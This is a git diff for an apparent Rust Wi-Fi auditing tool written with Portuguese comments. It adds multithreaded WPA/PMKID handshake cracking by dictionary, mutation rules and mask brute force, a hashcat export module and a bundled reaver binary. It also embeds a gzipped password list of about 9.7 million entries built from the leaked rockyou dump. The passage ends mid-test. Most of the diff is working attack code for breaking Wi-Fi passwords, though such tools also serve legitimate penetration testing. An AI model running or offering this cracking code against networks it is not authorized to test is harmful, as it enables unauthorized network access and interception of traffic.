diff --git a/assets/tools/LICENSE.reaver b/assets/tools/LICENSE.reaver new file mode 100644 index 0000000..d924406 --- /dev/null +++ b/assets/tools/LICENSE.reaver @@ -0,0 +1,100 @@ +Format: https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/ +Upstream-Name: reaver-wps-fork-t6x +Source: https://github.com/t6x/reaver-wps-fork-t6x + +Files: * +Copyright: 2011, Tactical Network Solutions, Craig Heffner +License: GPL-2 + +Files: src/common/* +Copyright: 2002-2010, Jouni Malinen +License: GPL-2 + +Files: src/crypto/* +Copyright: 2002-2010, Jouni Malinen and contributors +License: GPL-2 + +Files: src/tls/* +Copyright: 2002-2010, Jouni Malinen +License: GPL-2 + +Files: src/tls/libtommath.c +Copyright: Tom St Denis +License: public-domain + +Files: src/utils/* +Copyright: 2002-2010, Jouni Malinen +License: GPL-2 + +Files: src/utils/radiotap.h +Copyright: 2003-2004 David Young +License: BSD-3-clause + +Files: src/wps/* +Copyright: 2007-2009, Jouni Malinen +License: GPL-2 + +Files: src/wps/wps_ufd.c +Copyright: 2009, Masashi Honma +License: GPL-2 + +Files: src/lwe/* +Copyright: 1997-2007, Jean Tourrilhes +License: GPL-2 + +Files: debian/* +Copyright: 2011-2018 Bartosz Fenski + 2023 Leandro Cunha +License: GPL-2 + +License: GPL-2 + This package is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License. + . + This package is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + . + You should have received a copy of the GNU General Public License + along with this package; if not, write to the Free Software + Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + . + On Debian systems, the complete text of the GNU General + Public License can be found in `/usr/share/common-licenses/GPL-2'. + +License: BSD-3-clause + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions are met: + . + 1. Redistributions of source code must retain the above copyright notice, + this list of conditions and the following disclaimer. + . + 2. Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + . + 3. Neither the name of the ORGANIZATION nor the names of its contributors + may be used to endorse or promote products derived from this software + without specific prior written permission. + . + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE + LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + POSSIBILITY OF SUCH DAMAGE. + +License: public-domain + The files tagged with this license contains the following paragraphs: + . + No copyright is claimed. This code is in the public domain; do with + it what you wish. + . + Written by Karel Zak diff --git a/assets/tools/reaver b/assets/tools/reaver new file mode 100755 index 0000000..a382606 Binary files /dev/null and b/assets/tools/reaver differ diff --git a/crates/sabia-core/Cargo.toml b/crates/sabia-core/Cargo.toml index 3f6e747..af1c7e7 100644 --- a/crates/sabia-core/Cargo.toml +++ b/crates/sabia-core/Cargo.toml @@ -18,6 +18,8 @@ sha2 = "0.10" sha1 = "0.10" hmac = "0.12" md-5 = "0.10" +aes = "0.8" +flate2 = { version = "1", default-features = false, features = ["rust_backend"] } [dev-dependencies] tempfile = "3" diff --git a/crates/sabia-core/assets/wordlists/LICENSE.wpa-full b/crates/sabia-core/assets/wordlists/LICENSE.wpa-full new file mode 100644 index 0000000..47add90 --- /dev/null +++ b/crates/sabia-core/assets/wordlists/LICENSE.wpa-full @@ -0,0 +1,31 @@ +wpa-full.txt.gz + +Dois dicionários concatenados, com as duplicatas removidas e a ordem de +prioridade preservada (as entradas mais prováveis ficam primeiro, então a +quebra por dicionário tende a achar a senha mais cedo em vez de só no fim): + +1. Probable-Wordlists (berzerk0), Real-Passwords/WPA-Length/ + Top204Thousand-WPA-probable-v2.txt — 203.806 senhas reais vazadas, já + filtradas pro comprimento válido de WPA (8–63) e ordenadas por frequência + observada no mundo real. + https://github.com/berzerk0/Probable-Wordlists + Licença: Creative Commons Attribution-ShareAlike 4.0 International + (CC BY-SA 4.0) — https://creativecommons.org/licenses/by-sa/4.0/ + +2. rockyou.txt — o dump de senhas em texto puro do vazamento da RockYou de + 2009 (~32 milhões de contas), aqui filtrado pro mesmo comprimento válido + de WPA. É provavelmente o dicionário de senhas mais usado em segurança + ofensiva — vem embutido por padrão até no Kali Linux + (/usr/share/wordlists/rockyou.txt.gz). Redistribuído aqui via SecLists: + https://github.com/danielmiessler/SecLists (repositório MIT; o conteúdo do + próprio rockyou.txt é dado de vazamento, sem titular de direitos autorais + que o licencie formalmente — é tratado como de uso livre pra pesquisa de + segurança em toda a indústria, mesmo padrão que o SecLists e as + distribuições Linux de pentest adotam). + +Ao redistribuir este arquivo (ou um derivado dele), mantenha a atribuição ao +Probable-Wordlists acima — é a parte que tem uma licença formal que exige +isso (CC BY-SA 4.0). + +Isso é atribuição e aviso de licença, não os termos legais completos da +CC BY-SA 4.0. diff --git a/crates/sabia-core/assets/wordlists/wpa-full.txt.gz b/crates/sabia-core/assets/wordlists/wpa-full.txt.gz new file mode 100644 index 0000000..a781e74 Binary files /dev/null and b/crates/sabia-core/assets/wordlists/wpa-full.txt.gz differ diff --git a/crates/sabia-core/src/crack.rs b/crates/sabia-core/src/crack.rs index 808c728..5528d66 100644 --- a/crates/sabia-core/src/crack.rs +++ b/crates/sabia-core/src/crack.rs @@ -15,13 +15,17 @@ use crate::dot11::parse_mac; use crate::error::{Result, SabiaError}; use crate::handshake::Handshake; use crate::pcapreader::PcapReader; +use crate::rules::Mask; use crate::scan::ScanTable; +use flate2::read::GzDecoder; use hmac::{Hmac, Mac}; use md5::Md5; use sha1::Sha1; use std::fs::File; -use std::io::{BufRead, BufReader}; +use std::io::{BufRead, BufReader, Read}; use std::path::Path; +use std::sync::atomic::{AtomicBool, AtomicU64, Ordering}; +use std::sync::{LazyLock, Mutex}; use std::time::Instant; type HmacSha1 = Hmac; @@ -29,6 +33,37 @@ type HmacMd5 = Hmac; const WPA_ITERATIONS: u32 = 4096; +/// `.gz` do dicionário embutido — descomprimido só na primeira vez que é +/// usado (ver [`default_wordlist`]). Cru são ~101MB; comprimido, ~39MB no +/// binário em vez de ~101MB. +const DEFAULT_WORDLIST_GZ: &[u8] = include_bytes!("../assets/wordlists/wpa-full.txt.gz"); + +pub const DEFAULT_WORDLIST_SOURCE: &str = + "Probable-Wordlists (berzerk0) WPA-Length top204k (CC BY-SA 4.0) + rockyou.txt via SecLists — ver assets/wordlists/LICENSE.wpa-full"; + +static DEFAULT_WORDLIST_CACHE: LazyLock = LazyLock::new(|| { + let mut out = String::new(); + GzDecoder::new(DEFAULT_WORDLIST_GZ) + .read_to_string(&mut out) + .expect("dicionário embutido corrompido"); + out +}); + +/// Lista embutida de senhas prováveis de Wi-Fi, usada quando o usuário não +/// escolhe um dicionário próprio. Não depende de arquivo externo: é a lista +/// mais completa que o Sabiá consegue embutir sem exigir download — +/// 9.703.831 senhas (203.806 do Probable-Wordlists, ranqueadas por +/// probabilidade, seguidas pelo rockyou.txt inteiro) filtradas pro +/// comprimento válido de WPA (8–63) e pra ASCII puro (WPA-PSK exige um +/// octeto válido; a imensa maioria dos roteadores só aceita ASCII mesmo, e +/// isso evita o pouco de lixo binário que o rockyou.txt original carrega), +/// sem duplicatas e na ordem de prioridade: as mais prováveis primeiro, +/// então a quebra tende a achar a senha cedo, não só no fim da lista. Ver +/// `assets/wordlists/LICENSE.wpa-full` pra atribuição completa. +pub fn default_wordlist() -> &'static str { + &DEFAULT_WORDLIST_CACHE +} + #[derive(Debug, Clone)] pub struct CrackTarget { pub ssid: String, @@ -116,8 +151,10 @@ pub fn derive_pmk(passphrase: &str, ssid: &str) -> [u8; 32] { } /// Aceita uma frase-senha (8–63 caracteres) ou uma PMK crua em hexadecimal -/// (64 caracteres, como no hashcat/aircrack). -fn pmk_from_candidate(candidate: &str, ssid: &[u8]) -> Option<[u8; 32]> { +/// (64 caracteres, como no hashcat/aircrack). `pub(crate)` porque +/// `handshake.rs` reusa exatamente essa regra ao derivar a TK de uma senha +/// já quebrada (o campo `password` aceita as duas formas, igual aqui). +pub(crate) fn pmk_from_candidate(candidate: &str, ssid: &[u8]) -> Option<[u8; 32]> { if candidate.len() == 64 && candidate.bytes().all(|b| b.is_ascii_hexdigit()) { return hex_to_32(candidate.as_bytes()); } @@ -133,15 +170,20 @@ fn pmk_from_candidate(candidate: &str, ssid: &[u8]) -> Option<[u8; 32]> { pub fn pbkdf2_sha1(password: &[u8], salt: &[u8], iterations: u32, out_len: usize) -> Vec { let iterations = iterations.max(1); let mut out = Vec::with_capacity(out_len); + // O par ipad/opad depende só da senha — monta uma vez e clona a cada + // rodada (clone é só copiar os dois blocos já prontos) em vez de montar + // o HMAC do zero em cada uma das milhares de iterações. Em 4096 + // iterações por bloco isso é a maior parte do custo fora do SHA1 em si. + let base = HmacSha1::new_from_slice(password).expect("HMAC aceita qualquer chave"); let mut block: u32 = 1; while out.len() < out_len { - let mut mac = HmacSha1::new_from_slice(password).expect("HMAC aceita qualquer chave"); + let mut mac = base.clone(); mac.update(salt); mac.update(&block.to_be_bytes()); let mut u = mac.finalize().into_bytes(); let mut t = u; for _ in 1..iterations { - let mut mac = HmacSha1::new_from_slice(password).expect("HMAC aceita qualquer chave"); + let mut mac = base.clone(); mac.update(&u); u = mac.finalize().into_bytes(); for (a, b) in t.iter_mut().zip(u.iter()) { @@ -272,16 +314,29 @@ fn valid_candidate(candidate: &str) -> bool { || (candidate.len() == 64 && candidate.bytes().all(|b| b.is_ascii_hexdigit())) } -/// Tenta cada linha do dicionário contra o alvo. `progress` recebe o número -/// de candidatos já processados. +/// Tenta cada linha do dicionário contra o alvo, dividindo o trabalho entre +/// as threads disponíveis (PBKDF2-HMAC-SHA1 de 4096 iterações é CPU puro e +/// cada candidato é independente — ganho quase linear com o número de +/// núcleos). `progress` recebe o número de candidatos já processados, ~8x +/// por segundo enquanto roda. Com `apply_rules`, cada linha vira até +/// [`rules::VARIANTS_PER_WORD`] candidatos (maiúscula, sufixos comuns, leet +/// simples) em vez de só a palavra crua — multiplica o tempo de verdade, +/// por isso é opt-in. pub fn crack_reader( target: &CrackTarget, mut wordlist: R, + apply_rules: bool, mut progress: F, -) -> CrackReport { +) -> CrackReport +where + F: Send, +{ let start = Instant::now(); - let mut tried = 0u64; - let mut password = None; + + // Carrega a lista inteira antes de começar: dá pra repartir em pedaços + // contíguos por thread (melhor localidade de cache que round-robin) e o + // próprio dicionário embutido cabe de sobra em memória. + let mut candidates: Vec = Vec::new(); let mut line = String::new(); loop { line.clear(); @@ -294,20 +349,62 @@ pub fn crack_reader( if candidate.is_empty() { continue; } - tried += 1; - if valid_candidate(candidate) && target.verify(candidate) { - password = Some(candidate.to_string()); - break; - } - if tried % 128 == 0 { - progress(tried); + if apply_rules { + candidates.extend(crate::rules::expand(candidate)); + } else { + candidates.push(candidate.to_string()); } } - progress(tried); + + let total = candidates.len(); + let workers = std::thread::available_parallelism() + .map(std::num::NonZeroUsize::get) + .unwrap_or(1) + .min(total.max(1)); + let chunk = total.div_ceil(workers.max(1)).max(1); + + let tried = AtomicU64::new(0); + let stop = AtomicBool::new(false); + let found: Mutex> = Mutex::new(None); + + std::thread::scope(|scope| { + for part in candidates.chunks(chunk) { + let tried = &tried; + let stop = &stop; + let found = &found; + scope.spawn(move || { + for candidate in part { + if stop.load(Ordering::Relaxed) { + return; + } + if valid_candidate(candidate) && target.verify(candidate) { + *found.lock().unwrap() = Some(candidate.clone()); + stop.store(true, Ordering::Relaxed); + return; + } + tried.fetch_add(1, Ordering::Relaxed); + } + }); + } + + // Thread "repórter": roda dentro do mesmo scope só pra poder + // emprestar `progress` (FnMut, chamado de um único lugar). + scope.spawn(|| loop { + std::thread::sleep(std::time::Duration::from_millis(120)); + let n = tried.load(Ordering::Relaxed); + progress(n); + if stop.load(Ordering::Relaxed) || n as usize >= total { + break; + } + }); + }); + + let final_tried = tried.load(Ordering::Relaxed); + progress(final_tried); CrackReport { - password, - tried, + password: found.into_inner().unwrap(), + tried: final_tried, elapsed_ms: start.elapsed().as_millis() as u64, ssid: Some(target.ssid.clone()), bssid: Some(crate::dot11::mac_to_string(&target.bssid)), @@ -316,26 +413,52 @@ pub fn crack_reader( } } -pub fn crack_handshake( +pub fn crack_handshake( hs: &Handshake, wordlist: impl AsRef, + apply_rules: bool, progress: F, ) -> Result { - let target = CrackTarget::from_handshake(hs).ok_or_else(|| { + let target = target_for(hs)?; + let file = File::open(wordlist)?; + Ok(crack_reader( + &target, + BufReader::new(file), + apply_rules, + progress, + )) +} + +/// Quebra usando a lista embutida. +pub fn crack_handshake_default( + hs: &Handshake, + apply_rules: bool, + progress: F, +) -> Result { + let target = target_for(hs)?; + Ok(crack_reader( + &target, + std::io::Cursor::new(default_wordlist().as_bytes()), + apply_rules, + progress, + )) +} + +fn target_for(hs: &Handshake) -> Result { + CrackTarget::from_handshake(hs).ok_or_else(|| { SabiaError::InvalidInput( "handshake sem SSID, PMKID ou par de nonces suficiente para quebrar".into(), ) - })?; - let file = File::open(wordlist)?; - Ok(crack_reader(&target, BufReader::new(file), progress)) + }) } /// Lê um `.pcap`, monta os handshakes e tenta quebrar o primeiro alvo útil. -pub fn crack_pcap( +pub fn crack_pcap( pcap: impl AsRef, wordlist: impl AsRef, bssid: Option<&str>, station: Option<&str>, + apply_rules: bool, progress: F, ) -> Result { let mut reader = PcapReader::open(pcap)?; @@ -351,7 +474,88 @@ pub fn crack_pcap( let hs = table .first_crackable(bssid, station) .ok_or_else(|| SabiaError::InvalidInput("nenhum handshake quebrável na captura".into()))?; - crack_handshake(hs, wordlist, progress) + crack_handshake(hs, wordlist, apply_rules, progress) +} + +/// Força bruta por máscara (estilo hashcat `-a 3`): gera e testa cada +/// combinação possível, sem depender de dicionário. Mesma paralelização por +/// threads do `crack_reader`, mas gerando candidatos por índice (base +/// mista) em vez de carregar tudo em memória — é o que permite máscaras com +/// milhões/bilhões de combinações sem estourar RAM. +pub fn crack_mask(target: &CrackTarget, mask: &Mask, mut progress: F) -> CrackReport +where + F: Send, +{ + let start = Instant::now(); + let total = mask.total().unwrap_or(0); + + let workers = std::thread::available_parallelism() + .map(std::num::NonZeroUsize::get) + .unwrap_or(1) + .min(total.max(1) as usize) as u64; + let chunk = total.div_ceil(workers.max(1)).max(1); + + let tried = AtomicU64::new(0); + let stop = AtomicBool::new(false); + let found: Mutex> = Mutex::new(None); + + std::thread::scope(|scope| { + let mut from = 0u64; + while from < total { + let to = (from + chunk).min(total); + let tried = &tried; + let stop = &stop; + let found = &found; + scope.spawn(move || { + for i in from..to { + if stop.load(Ordering::Relaxed) { + return; + } + if let Some(candidate) = mask.candidate(i) { + if valid_candidate(&candidate) && target.verify(&candidate) { + *found.lock().unwrap() = Some(candidate); + stop.store(true, Ordering::Relaxed); + return; + } + } + tried.fetch_add(1, Ordering::Relaxed); + } + }); + from = to; + } + + scope.spawn(|| loop { + std::thread::sleep(std::time::Duration::from_millis(120)); + let n = tried.load(Ordering::Relaxed); + progress(n); + if stop.load(Ordering::Relaxed) || n >= total { + break; + } + }); + }); + + let final_tried = tried.load(Ordering::Relaxed); + progress(final_tried); + + CrackReport { + password: found.into_inner().unwrap(), + tried: final_tried, + elapsed_ms: start.elapsed().as_millis() as u64, + ssid: Some(target.ssid.clone()), + bssid: Some(crate::dot11::mac_to_string(&target.bssid)), + station: Some(crate::dot11::mac_to_string(&target.station)), + method: Some(target.method().to_string()), + } +} + +/// Quebra por máscara a partir de um handshake já montado. +pub fn crack_handshake_mask( + hs: &Handshake, + mask: &Mask, + progress: F, +) -> Result { + let target = target_for(hs)?; + Ok(crack_mask(&target, mask, progress)) } #[cfg(test)] @@ -360,6 +564,47 @@ mod tests { use crate::testutil::{handshake_frames, synthetic_handshake}; use std::io::Cursor; + /// Mede só o tempo de descomprimir o dicionário embutido (gzip, ~39MB -> ~101MB), + /// que acontece uma vez, na primeira chamada a `default_wordlist()`. + #[test] + #[ignore] + fn bench_default_wordlist_decompress() { + let start = Instant::now(); + let text = default_wordlist(); + let elapsed = start.elapsed(); + eprintln!( + "descomprimiu {} linhas em {:.2?}", + text.lines().count(), + elapsed + ); + } + + /// Não é teste de verdade — mede candidatos/segundo pra guiar otimização + /// de performance. `cargo test --release -p sabia-core -- --ignored + /// --nocapture bench_crack_throughput`. + #[test] + #[ignore] + fn bench_crack_throughput() { + let (m1, m2) = handshake_frames("IEEE", "senha-que-nao-esta-na-lista", 2, false); + let hs = synthetic_handshake("IEEE", "00:11:22:33:44:55", "66:77:88:99:aa:bb", &m1, &m2); + let target = CrackTarget::from_handshake(&hs).expect("alvo"); + // Só uma fatia: a lista inteira (9,7 milhões) levaria minutos — o + // objetivo aqui é medir candidatos/s, não o tempo total. + let sample: String = default_wordlist() + .lines() + .take(500_000) + .collect::>() + .join("\n"); + let start = Instant::now(); + let report = crack_reader(&target, Cursor::new(sample.as_bytes()), false, |_| {}); + let elapsed = start.elapsed(); + let per_sec = report.tried as f64 / elapsed.as_secs_f64(); + eprintln!( + "{} candidatos em {:.2?} = {:.1}/s", + report.tried, elapsed, per_sec + ); + } + #[test] fn pbkdf2_matches_rfc6070_vector() { let out = pbkdf2_sha1(b"password", b"salt", 1, 20); @@ -386,6 +631,7 @@ mod tests { let report = crack_reader( &target, Cursor::new(b"errada\noutra\npassword\nnunca\n".to_vec()), + false, |_| progress_calls += 1, ); assert_eq!(report.password.as_deref(), Some("password")); @@ -400,7 +646,12 @@ mod tests { let hs = synthetic_handshake("IEEE", "00:11:22:33:44:55", "66:77:88:99:aa:bb", &m1, &[]); let target = CrackTarget::from_handshake(&hs).expect("alvo"); assert_eq!(target.method(), "PMKID"); - let report = crack_reader(&target, Cursor::new(b"nada\npassword\n".to_vec()), |_| {}); + let report = crack_reader( + &target, + Cursor::new(b"nada\npassword\n".to_vec()), + false, + |_| {}, + ); assert_eq!(report.password.as_deref(), Some("password")); } @@ -417,10 +668,46 @@ mod tests { let (m1, m2) = handshake_frames("IEEE", "senha-correta", 2, false); let hs = synthetic_handshake("IEEE", "00:11:22:33:44:55", "66:77:88:99:aa:bb", &m1, &m2); let target = CrackTarget::from_handshake(&hs).expect("alvo"); - let report = crack_reader(&target, Cursor::new(b"senha-errada\n".to_vec()), |_| {}); + let report = crack_reader( + &target, + Cursor::new(b"senha-errada\n".to_vec()), + false, + |_| {}, + ); assert!(report.password.is_none()); } + #[test] + fn rules_find_a_mutated_variant_not_present_verbatim() { + // A senha de verdade é "wifi12345" — não está na lista, mas é um + // sufixo numérico de "wifi" que `rules::expand` gera. + let (m1, m2) = handshake_frames("IEEE", "wifi12345", 2, false); + let hs = synthetic_handshake("IEEE", "00:11:22:33:44:55", "66:77:88:99:aa:bb", &m1, &m2); + let target = CrackTarget::from_handshake(&hs).expect("alvo"); + + let without_rules = crack_reader(&target, Cursor::new(b"wifi\n".to_vec()), false, |_| {}); + assert!(without_rules.password.is_none()); + + let with_rules = crack_reader(&target, Cursor::new(b"wifi\n".to_vec()), true, |_| {}); + assert_eq!(with_rules.password.as_deref(), Some("wifi12345")); + } + + #[test] + fn mask_crack_finds_a_numeric_password() { + // Máscara minúscula de propósito (só 10 combinações): cada candidato + // é um PBKDF2 de 4096 iterações, pesado até em paralelo — um brute + // force de verdade (ex.: ?d×8, 100 milhões) é coisa pra uso real, + // não pra um teste unitário que roda em `cargo test` toda hora. + let (m1, m2) = handshake_frames("IEEE", "wifiabc7", 2, false); + let hs = synthetic_handshake("IEEE", "00:11:22:33:44:55", "66:77:88:99:aa:bb", &m1, &m2); + let target = CrackTarget::from_handshake(&hs).expect("alvo"); + let mask = Mask::parse("wifiabc?d").expect("máscara válida"); + assert_eq!(mask.total(), Some(10)); + let report = crack_mask(&target, &mask, |_| {}); + assert_eq!(report.password.as_deref(), Some("wifiabc7")); + assert!(report.tried > 0); + } + fn hex_bytes(s: &str) -> Vec { (0..s.len()) .step_by(2) diff --git a/crates/sabia-core/src/hashcat.rs b/crates/sabia-core/src/hashcat.rs new file mode 100644 index 0000000..033d063 --- /dev/null +++ b/crates/sabia-core/src/hashcat.rs @@ -0,0 +1,86 @@ +//! Exportação no formato `.hc22000` do hashcat. +//! +//! Duas linhas possíveis, como no hcxtools: +//! +//! * `WPA*01*PMKID*AP*STA*SSID***` +//! * `WPA*02*MIC*AP*STA*SSID*ANONCE*EAPOL*MESSAGEPAIR` +//! +//! O EAPOL exportado é o quadro da mensagem 2 completo (cabeçalho 802.1X + +//! descritor), que é o que o hashcat espera no campo `EAPOL_CLIENT`. + +use crate::eapol::MIC_OFFSET; +use crate::handshake::Handshake; + +fn mac_hex(mac: &str) -> Option { + let bytes: Vec = mac + .split(':') + .map(|part| part.trim().to_ascii_lowercase()) + .collect(); + if bytes.len() != 6 + || !bytes + .iter() + .all(|b| b.len() == 2 && b.chars().all(|c| c.is_ascii_hexdigit())) + { + return None; + } + Some(bytes.concat()) +} + +fn ssid_hex(ssid: &str) -> String { + ssid.as_bytes().iter().map(|b| format!("{b:02x}")).collect() +} + +fn hex(bytes: &[u8]) -> String { + bytes.iter().map(|b| format!("{b:02x}")).collect() +} + +pub fn hashcat_line(hs: &Handshake) -> Option { + let ssid = hs.ssid.as_deref().filter(|s| !s.is_empty())?; + let ap = mac_hex(&hs.bssid)?; + let sta = mac_hex(&hs.station)?; + let ssid = ssid_hex(ssid); + + if let Some(pmkid) = hs.pmkid { + return Some(format!("WPA*01*{}*{ap}*{sta}*{ssid}***", hex(&pmkid))); + } + + let eapol = hs.eapol_msg2.as_deref()?; + let anonce = hs.anonce?; + let mic = eapol.get(MIC_OFFSET..MIC_OFFSET + 16)?; + Some(format!( + "WPA*02*{}*{ap}*{sta}*{ssid}*{}*{}*00", + hex(mic), + hex(&anonce), + hex(eapol), + )) +} + +/// Linhas únicas, uma por handshake que tenha material suficiente. +pub fn export<'a>(handshakes: impl IntoIterator) -> Vec { + let mut lines: Vec = handshakes.into_iter().filter_map(hashcat_line).collect(); + lines.sort(); + lines.dedup(); + lines +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::handshake::Handshake; + + #[test] + fn exports_pmkid_line() { + let hs = Handshake { + bssid: "00:11:22:33:44:55".into(), + station: "66:77:88:99:aa:bb".into(), + ssid: Some("Casa".into()), + pmkid: Some([0xcd; 16]), + ..Default::default() + }; + let line = hashcat_line(&hs).expect("linha"); + assert_eq!( + line, + "WPA*01*cdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcd*001122334455*66778899aabb*43617361***" + ); + } +} diff --git a/crates/sabia-core/src/rules.rs b/crates/sabia-core/src/rules.rs new file mode 100644 index 0000000..975bf59 --- /dev/null +++ b/crates/sabia-core/src/rules.rs @@ -0,0 +1,232 @@ +//! Regras de mutação sobre uma palavra do dicionário (estilo hashcat `-r`, +//! bem mais simples) e força bruta por máscara (estilo hashcat `-a 3`). +//! +//! Em quebra de hash normal, regras são "de graça" — um hash SHA256 custa +//! nanossegundos. Aqui não: cada candidato é um PBKDF2-HMAC-SHA1 de 4096 +//! iterações, então cada variante multiplica o tempo de verdade. As regras +//! abaixo cobrem os padrões mais comuns (maiúscula inicial, sufixo numérico, +//! leet simples) sem explodir pra centenas de variantes por palavra. + +/// Quantas variantes [`expand`] gera por palavra base (pra calcular o +/// multiplicador de tempo antes de rodar). +pub const VARIANTS_PER_WORD: usize = 1 + 1 + 1 + SUFFIXES.len() + LEET_PAIRS.len(); + +const SUFFIXES: &[&str] = &[ + "1", "12", "123", "1234", "12345", "123456", "01", "007", "99", "2023", "2024", "2025", "!", + "@", "#", +]; + +/// (char original, substituto) — leet simples, uma troca por vez, não +/// combinada, senão a combinatória explode rápido demais. +const LEET_PAIRS: &[(char, char)] = &[('a', '@'), ('e', '3'), ('i', '1'), ('o', '0'), ('s', '$')]; + +/// Gera as variantes de `word` (incluindo a palavra original) que respeitam +/// o comprimento válido de WPA (8–63), sem duplicatas. +pub fn expand(word: &str) -> Vec { + let mut out = Vec::with_capacity(VARIANTS_PER_WORD); + let mut push = |s: String| { + let len = s.chars().count(); + if (8..=63).contains(&len) && !out.contains(&s) { + out.push(s); + } + }; + + push(word.to_string()); + + if let Some(first) = word.chars().next() { + let capitalized: String = first.to_uppercase().chain(word.chars().skip(1)).collect(); + push(capitalized); + } + push(word.to_uppercase()); + + for suffix in SUFFIXES { + push(format!("{word}{suffix}")); + } + + for (from, to) in LEET_PAIRS { + if word.contains(*from) { + push(word.replace(*from, &to.to_string())); + } + } + + out +} + +/// Classe de caractere de um token `?x` de máscara (sintaxe hashcat: `?d` +/// dígito, `?l` minúscula, `?u` maiúscula, `?s` símbolo comum, `?a` os +/// quatro juntos). `??` escapa um `?` literal. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +enum CharClass { + Digit, + Lower, + Upper, + Symbol, + All, + Literal(char), +} + +const DIGITS: &str = "0123456789"; +const LOWER: &str = "abcdefghijklmnopqrstuvwxyz"; +const UPPER: &str = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; +const SYMBOLS: &str = "!@#$%&*_-"; + +impl CharClass { + fn alphabet(self) -> String { + match self { + CharClass::Digit => DIGITS.to_string(), + CharClass::Lower => LOWER.to_string(), + CharClass::Upper => UPPER.to_string(), + CharClass::Symbol => SYMBOLS.to_string(), + CharClass::All => format!("{DIGITS}{LOWER}{UPPER}{SYMBOLS}"), + CharClass::Literal(c) => c.to_string(), + } + } +} + +/// Máscara compilada: uma lista de alfabetos, um por posição. Gera +/// candidatos por índice (contagem em base mista) sem materializar a lista +/// inteira — essencial, já que `?d?d?d?d?d?d?d?d` sozinho são 100 milhões. +#[derive(Debug, Clone)] +pub struct Mask { + alphabets: Vec>, +} + +impl Mask { + /// Compila uma máscara tipo `wifi?d?d?d?d` (literal "wifi" + 4 dígitos). + /// `??` é um `?` literal; `?` seguido de letra desconhecida é erro. + pub fn parse(pattern: &str) -> Result { + let mut alphabets = Vec::new(); + let mut chars = pattern.chars().peekable(); + while let Some(c) = chars.next() { + let class = if c == '?' { + match chars.next() { + Some('d') => CharClass::Digit, + Some('l') => CharClass::Lower, + Some('u') => CharClass::Upper, + Some('s') => CharClass::Symbol, + Some('a') => CharClass::All, + Some('?') => CharClass::Literal('?'), + Some(other) => return Err(format!("classe de máscara desconhecida: ?{other}")), + None => return Err("máscara termina com '?' sem classe".into()), + } + } else { + CharClass::Literal(c) + }; + alphabets.push(class.alphabet().chars().collect()); + } + if alphabets.is_empty() { + return Err("máscara vazia".into()); + } + if alphabets.len() > 63 { + return Err("máscara maior que o limite de uma senha WPA (63)".into()); + } + Ok(Self { alphabets }) + } + + /// Total de candidatos. `None` se não couber num `u64` (máscara longa + /// demais pra ser levada a sério de qualquer forma). + pub fn total(&self) -> Option { + self.alphabets + .iter() + .try_fold(1u64, |acc, a| acc.checked_mul(a.len() as u64)) + } + + pub fn len(&self) -> usize { + self.alphabets.len() + } + + pub fn is_empty(&self) -> bool { + self.alphabets.is_empty() + } + + /// Candidato de índice `index` (contagem em base mista, como um + /// odômetro: a última posição gira mais rápido). `None` se `index` >= + /// `total()`. + pub fn candidate(&self, mut index: u64) -> Option { + let total = self.total()?; + if index >= total { + return None; + } + let mut chars = vec!['\0'; self.alphabets.len()]; + for i in (0..self.alphabets.len()).rev() { + let base = self.alphabets[i].len() as u64; + let digit = (index % base) as usize; + chars[i] = self.alphabets[i][digit]; + index /= base; + } + Some(chars.into_iter().collect()) + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn expand_respects_min_length() { + let variants = expand("senha"); + // "senha" tem 5 chars; sozinha não é candidata WPA válida (precisa + // de 8+), mas com sufixo (ex.: "senha123", 8) sim. + assert!(!variants.iter().any(|v| v == "senha")); + assert!(variants.contains(&"senha123".to_string())); + } + + #[test] + fn expand_includes_original_when_long_enough() { + let variants = expand("abacaxi1"); + assert!(variants.contains(&"abacaxi1".to_string())); + } + + #[test] + fn expand_applies_capitalization_suffix_and_leet() { + let variants = expand("abacaxi1"); + assert!(variants.contains(&"Abacaxi1".to_string())); + assert!(variants.contains(&"ABACAXI1".to_string())); + assert!(variants.contains(&"abacaxi1123".to_string())); + // leet troca TODAS as ocorrências de 'a': as três em "abacaxi1". + assert!(variants.contains(&"@b@c@xi1".to_string())); + } + + #[test] + fn expand_has_no_duplicates() { + let variants = expand("12345678"); + let mut sorted = variants.clone(); + sorted.sort(); + sorted.dedup(); + assert_eq!(variants.len(), sorted.len()); + } + + #[test] + fn mask_parses_literals_and_classes() { + let mask = Mask::parse("wifi?d?d?d?d").expect("máscara válida"); + assert_eq!(mask.len(), 8); + assert_eq!(mask.total(), Some(10_000)); + assert_eq!(mask.candidate(0).as_deref(), Some("wifi0000")); + assert_eq!(mask.candidate(9_999).as_deref(), Some("wifi9999")); + assert_eq!(mask.candidate(10_000), None); + } + + #[test] + fn mask_literal_question_mark_and_unknown_class() { + // "??" 